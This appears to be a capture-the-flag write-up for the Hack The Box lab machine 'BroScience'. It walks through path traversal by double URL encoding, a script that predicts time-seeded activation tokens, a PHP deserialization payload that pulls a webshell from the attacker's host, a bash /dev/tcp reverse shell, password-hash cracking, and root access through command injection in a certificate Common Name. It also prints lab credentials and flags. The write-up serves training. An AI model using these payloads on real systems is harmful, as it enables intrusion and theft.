BroScience

Recon

nmap_scan.log
Open 10.129.228.129:22
Open 10.129.228.129:80
Open 10.129.228.129:443
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -sC -Pn" on ip 10.129.228.129

PORT    STATE SERVICE  REASON  VERSION
22/tcp  open  ssh      syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 df:17:c6:ba:b1:82:22:d9:1d:b5:eb:ff:5d:3d:2c:b7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB5dEat1MGh3CDDnkl4tdWQcTpdWZYHZj5/Orv3PDjSiQ4dg1i35kknwiZrXLiMsUu/4TigP9Kc3h4M1CS7E3/GprpWxuGmipEucoQuNEtaM0sUa8xobtFxOVF46kS0++ozTd4+zbSLsu73SlLcSuSFalhGnHteHj6/ksSeX642103SMqkkmEu/cbgofkoqQOCYk3Qa42bZq5bjS/auGAlPoAxTjjVtpHnXOKOU7M6gkewD91FB3GAMUdwqR/PJcA5xqGFZm2St9ecSbewCur6pLN5YKnNhvdID4ijWI22gu5pLxHL9XjORMbSUkJbB79VoYJZaNkdOgt+HXR67s9DWI47D6/+pO0dTfQgMFgOCxYheWMDQ2FuyHyGX1CZpMVLAo3sjOvxAqk7eUGutsyBAlYCD4lhSFs6RhSBynahHQah7+Lv5LKRriZe/fQIgrJrQj+tR4Uhz89eWGrXK9bjN22wy7tVkMG/w5dOwo7S3Wi0aTZfd/17D0z7wSdiAiE=
|   256 3f:8a:56:f8:95:8f:ae:af:e3:ae:7e:b8:80:f6:79:d2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCgM9UKdxFmXRJESXdlb+BSl+K1F0YCkOjSa8l+tgD6Y3mslSfrawZkdfq8NKLZlmOe8uf1ykgXjLWVDQ9NrJBk=
|   256 3c:65:75:27:4a:e2:ef:93:91:37:4c:fd:d9:d4:63:41 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMwR+IfRojCwiMuM3tZvdD5JCD2MRVum9frUha60bkN
80/tcp  open  http     syn-ack Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
443/tcp open  ssl/http syn-ack Apache httpd 2.4.54 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.54 (Debian)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: BroScience : Home
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT/emailAddress=administrator@broscience.htb/localityName=Vienna
| Issuer: commonName=broscience.htb/organizationName=BroScience/countryName=AT/emailAddress=administrator@broscience.htb/localityName=Vienna
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-07-14T19:48:36
| Not valid after:  2023-07-14T19:48:36
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTPs (443)

HTTP redirects to HTTPs. We have a PHP application which for some odd reason queries images from php file rather just including them (?)

Writeup.png

../ gets detected as malicious, URL encoding is also detected as malicious, but double URL encoding goes through and we get to view files.

Writeup-1.png
└─$ curl -k 'https://broscience.htb/includes/img.php?path=%252E%252E/includes/db_connect.php'
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");

if (!$db_conn) {
    die("<b>Error</b>: Unable to connect to database");
}
?>

passwd is also blocked, but using double URL encoding bypasses the filter.

└─$ curl -k 'https://broscience.htb/includes/img.php?path=%252E%252E/%252E%252E/%252E%252E/%252E%252E/etc/passw%2564' -s | grep sh$
root:x:0:0:root:/root:/bin/bash
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
└─$ curl -k 'https://broscience.htb/includes/img.php?path=%252E%252E/includes/utils.php' -so utils.php
└─$ curl -k 'https://broscience.htb/includes/img.php?path=%252E%252E/includes/header.php' -so header.php
└─$ curl -k 'https://broscience.htb/includes/img.php?path=%252E%252E/index.php' -so index.php
└─$ curl -k 'https://broscience.htb/includes/img.php?path=%252E%252E/includes/img.php' -so img.php
└─$ curl -k 'https://broscience.htb/includes/img.php?path=%252E%252E/exercise.php' -so exercise.php
└─$ curl -k 'https://broscience.htb/includes/img.php?path=%252E%252E/register.php' -so register.php
└─$ curl -k 'https://broscience.htb/includes/img.php?path=%252E%252E/login.php' -so login.php

We can also sign up on website, but when logging in can't login because it's not activated yet.

When user is registered it should get activated, but in code we see it's TODO. Our objective is now to leak the activation code.

Writeup-2.png

utils.php contain the code to generate the activation token, but it's using time() as random seed.

<?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

Initially I wanted to do python, but seed function is weird in terms of how it works. Some conditions/statements/definitions need to be very specific to produce the desired output. Python vs PHP would probably produce very different outputs, so I just did PHP.

<?php 

$options = [
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_PROXY => 'http://127.0.0.1:8080',
];

function http_request($url, $method = 'GET', $data = null, $options = []) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt_array($ch, $options);

    if ($method === 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    }

    $response = curl_exec($ch);
    if (curl_errno($ch)) { throw new Exception('Curl error: ' . curl_error($ch)); }
    curl_close($ch);
    return $response;
}

function generate_activation_code($time_) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand($time_);
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

function log_message($time_, $code, $status) { echo "[$time_ - " . date('Y-m-d H:i:s', $time_) . "] $code $status\n"; }

$URL = 'https://broscience.htb';
$USERNAME = bin2hex(random_bytes(5)) . '@broscience.htb';
echo "Created user: $USERNAME\n";

$register_data = [ 'username' => $USERNAME, 'password' => $USERNAME, 'email' => $USERNAME, 'password-confirm' => $USERNAME ];
$padding = 5;

$start = time();
log_message($start, 'Starting', '');
http_request("$URL/register.php", 'POST', $register_data, $options);

for ($time_ = $start - $padding; $time_ <= $start + $padding; $time_++) {
    $code = generate_activation_code($time_); // Implement this function
    $response = http_request("$URL/activate.php?code=$code", 'GET', null, $options);

    if (strpos($response, 'Invalid activation code') !== false) {
        log_message($time_, $code, 'Failed');
    } else {
        log_message($time_, $code, 'Success');
        break;
    }
}
└─$ php activate.php
Created user: 9e293cafd4@broscience.htb
[1733954584 - 2024-12-11 22:03:04] Starting 
[1733954579 - 2024-12-11 22:02:59] oPUDRzvJeN6ylNf0CStDqeLsY1FOEVuN Failed
[1733954580 - 2024-12-11 22:03:00] llm67p8qMBHCvNwJosBt14sx858Urj50 Failed
[1733954581 - 2024-12-11 22:03:01] y7VA1W0JbKn1L4WpnbnEGBuGrChI5Kw7 Failed
[1733954582 - 2024-12-11 22:03:02] vCRcTCaMOZt0XZCzfkWfDTd5qQFlmqAn Failed
[1733954583 - 2024-12-11 22:03:03] m16QaNpGCcMigHzTygVvIqRDZ3s1Xzvr Success
Writeup-3.png
└─$ curl -k 'https://broscience.htb/includes/img.php?path=%252E%252E/user.php' -so user.php

Nothing much in user, but utils.php is vulnerable to deserialization attack

function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}

Create payload:

<?php
class Avatar {
    public $imgPath;
    public function __construct($imgPath) { $this->imgPath = $imgPath; }
    public function save($tmp) { $f = fopen($this->imgPath, "w"); fwrite($f, file_get_contents($tmp)); fclose($f); }
}
class AvatarInterface {
    public $tmp;
    public $imgPath; 
    public function __wakeup() { $a = new Avatar($this->imgPath); $a->save($this->tmp); }
}
$interface = new AvatarInterface();
$interface->tmp = 'http://10.10.14.113/shell.php';
$interface->imgPath = '/var/www/html/shell.php';

echo urlencode(base64_encode(serialize($interface)));

Note: The Avatar is using file_get_contents. We can't write strings directly, but we can include URLs or local files.

There's paint bucket icon that triggers swap_theme.php, edit the user-prefs cookie and trigger the payload.

Writeup-4.png

Access the shell

Writeup-5.png

Classic HTB cleanup scripts deleting webshell 💀

Get reverse shell

www-data@broscience:…/www/html# bash -c '/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1'
(remote) www-data@broscience:/var/www/html$ PGPASSWORD='RangeOfMotion%777' psql -h localhost -U dbuser -d broscience -c '\l'
                                  List of databases
    Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges
------------+----------+----------+-------------+-------------+-----------------------
 broscience | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 postgres   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 template0  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          + postgres=CTc/postgres
 template1  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          + postgres=CTc/postgres
(4 rows)

(remote) www-data@broscience:/var/www/html$ PGPASSWORD='RangeOfMotion%777' psql -h localhost -U dbuser -d broscience -c '\dt'
           List of relations
 Schema |   Name    | Type  |  Owner
--------+-----------+-------+----------
 public | comments  | table | postgres
 public | exercises | table | postgres
 public | users     | table | postgres
(3 rows)

(remote) www-data@broscience:/var/www/html$ PGPASSWORD='RangeOfMotion%777' psql -h localhost -U dbuser -d broscience -c 'SELECT * FROM users;'
 id |   username    |             password             |            email             |         activation_code          | is_activated | is_admin |         date_created
----+---------------+----------------------------------+------------------------------+----------------------------------+--------------+----------+-------------------------------
  1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t            | t        | 2019-03-07 02:02:22.226763-05
  2 | bill          | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb          | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t            | f        | 2019-05-07 03:34:44.127644-04
  3 | michael       | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb       | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t            | f        | 2020-10-01 04:12:34.732872-04
  4 | john          | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb          | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t            | f        | 2021-09-21 11:45:53.118482-04
  5 | dmytro        | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb        | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t            | f        | 2021-08-13 10:34:36.226763-04
(5 rows)

(remote) www-data@broscience:/var/www/html$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
15657792073e8a843d4f91fc403454e1$NaCl
13edad4932da9dbb57d9cd15b66ed104$NaCl
bd3dad50e2d578ecba87d5fa15ca5f85$NaCl
a7eed23a7be6fe0d765197b1027453fe$NaCl
5d15340bded5b9395d5d14b9c21bc82b$NaCl

https://github.com/pmittaldev/john-the-ripper/blob/master/doc/DYNAMIC

➜ .\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=.\rockyou.txt --format=dynamic_4 .\hashes
iluvhorsesandgym (?)
Aaronthehottest  (?)
2applesplus2apples (?)

SSH (22)

└─$ sshpass -p 'iluvhorsesandgym' ssh bill@broscience.htb
bill@broscience:~$ id
uid=1000(bill) gid=1000(bill) groups=1000(bill)

User.txt

bill@broscience:~$ cat user.txt
1a85e0d4a2728019c0f266ab2777898c

Privilege Escalation

bill@broscience:~$ sudo -l
Sorry, user bill may not run sudo on broscience.

Usually when you login the SSH has syntax highlighting, but right now it's blank

Writeup-6.png

Upload pspy

└─$ sshpass -p 'iluvhorsesandgym' scp /opt/scripts/enum/pspy64 bill@broscience.htb:/tmp/pspy
bill@broscience:~$ chmod +x /tmp/pspy
bill@broscience:~$ /tmp/pspy
---
└─$ sshpass -p 'iluvhorsesandgym' ssh bill@broscience.htb
---
2024/12/12 02:46:52 CMD: UID=1000  PID=11156  | sshd: bill@pts/2
2024/12/12 02:46:52 CMD: UID=1000  PID=11157  | id -u
2024/12/12 02:48:01 CMD: UID=0     PID=11162  | /usr/sbin/CRON -f
2024/12/12 02:48:02 CMD: UID=0     PID=11163  | /bin/sh -c /root/cron.sh
2024/12/12 02:48:02 CMD: UID=0     PID=11166  | /bin/bash /opt/renew_cert.sh /home/bill/Certs/broscience.crt
2024/12/12 02:48:02 CMD: UID=0     PID=11165  | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
2024/12/12 02:48:02 CMD: UID=0     PID=11164  | /bin/bash /root/cron.sh
bill@broscience:~$ cat /opt/renew_cert.sh
#!/bin/bash

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
    echo "Usage: $0 certificate.crt";
    exit 0;
fi

if [ -f $1 ]; then

    openssl x509 -in $1 -noout -checkend 86400 > /dev/null

    if [ $? -eq 0 ]; then
        echo "No need to renew yet.";
        exit 1;
    fi

    subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

    country=$(echo $subject | grep -Eo 'C = .{2}')
    state=$(echo $subject | grep -Eo 'ST = .*,')
    locality=$(echo $subject | grep -Eo 'L = .*,')
    organization=$(echo $subject | grep -Eo 'O = .*,')
    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
    commonName=$(echo $subject | grep -Eo 'CN = .*,?')
    emailAddress=$(openssl x509 -in $1 -noout -email)

    country=${country:4}
    state=$(echo ${state:5} | awk -F, '{print $1}')
    locality=$(echo ${locality:3} | awk -F, '{print $1}')
    organization=$(echo ${organization:4} | awk -F, '{print $1}')
    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

    echo $subject;
    echo "";
    echo "Country     => $country";
    echo "State       => $state";
    echo "Locality    => $locality";
    echo "Org Name    => $organization";
    echo "Org Unit    => $organizationUnit";
    echo "Common Name => $commonName";
    echo "Email       => $emailAddress";

    echo -e "\nGenerating certificate...";
    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
    $state
    $locality
    $organization
    $organizationUnit
    $commonName
    $emailAddress
    " 2>/dev/null

    /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
    echo "File doesn't exist"
    exit 1;
bill@broscience:~/Certs$ openssl req -x509 -newkey rsa:2048 -keyout /dev/null -out ~/Certs/broscience.crt -days 1 -nodes
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(install -m4777 /bin/bash /tmp/rootbash)
Email Address []:

Login into SSH, wait for some time and rootbash should appear.

bill@broscience:~/Certs$ /tmp/rootbash -p
rootbash-5.1# id
uid=1000(bill) gid=1000(bill) euid=0(root) groups=1000(bill)

Root.txt

rootbash-5.1# cat /root/root.txt
4c446b60a54e915a304df3620490e95b

Last updated